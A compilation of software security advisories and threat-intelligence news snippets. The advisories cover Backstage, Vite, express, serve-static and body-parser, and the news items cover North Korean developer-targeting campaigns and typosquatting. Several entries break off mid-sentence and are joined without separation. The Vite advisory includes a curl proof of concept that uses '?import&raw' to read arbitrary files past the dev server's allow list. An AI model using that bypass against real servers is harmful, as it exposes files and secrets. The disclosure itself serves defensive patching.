### Impact A malicious actor with authenticated access to a Backstage instance with the catalog backend plugin installed is able to interrupt the service using a specially crafted query to the catalog API. ### Patches This has been fixed in the `1.26.0` release of the `@backstage/plugin-catalog-backend` package. ### References If you have any questions or comments about this advisory: Open an issue in the [Backstage repository](https://github.com/backstage/backstage) Visit our Discord, linked to in [Backstage README](https://github.com/backstage/backstage)
### Summary The contents of arbitrary files can be returned to the browser. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. ### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```
Cybersecurity researchers are continuing to warn about North Korean threat actors' attempts to target prospective victims on LinkedIn to deliver malware called RustDoor. The latest advisory comes from Jamf Threat Labs, which said it spotted an attack attempt in which a user was contacted on the professional social network by claiming to be a recruiter for a legitimate decentralized

Cybersecurity researchers have uncovered a new set of malicious Python packages that target software developers under the guise of coding assessments. "The new samples were tracked to GitHub projects that have been linked to previous, targeted attacks in which developers are lured using fake job interviews," ReversingLabs researcher Karlo Zanki said. The activity has been assessed to be part of
### Impact passing untrusted user input - even after sanitizing it - to `redirect()` may execute untrusted code ### Patches this issue is patched in serve-static 1.16.0 ### Workarounds users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist ### Details successful exploitation of this vector requires the following: 1. The attacker MUST control the input to response.redirect() 1. express MUST NOT redirect before the template appears 1. the browser MUST NOT complete redirection before: 1. the user MUST click on the link in the template
### Impact In express <4.20.0, passing untrusted user input - even after sanitizing it - to `response.redirect()` may execute untrusted code ### Patches this issue is patched in express 4.20.0 ### Workarounds users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist ### Details successful exploitation of this vector requires the following: 1.

### Impact body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service. ### Patches this issue is patched in 1.20.3 ### References
Threat actors have long leveraged typosquatting as a means to trick unsuspecting users into visiting malicious websites or downloading booby-trapped software and packages. These attacks typically involve registering domains or packages with names slightly altered from their legitimate counterparts (e.g., goog1e.com vs. google.com). Adversaries targeting open-source repositories across
North Korean threat actors have leveraged a fake Windows video conferencing application impersonating FreeConference.com to backdoor developer systems as part of an ongoing financially-driven campaign dubbed Contagious Interview. The new attack wave, spotted by Singaporean company Group-IB in mid-August 2024, is yet another indication that the activity is also leveraging native installers for
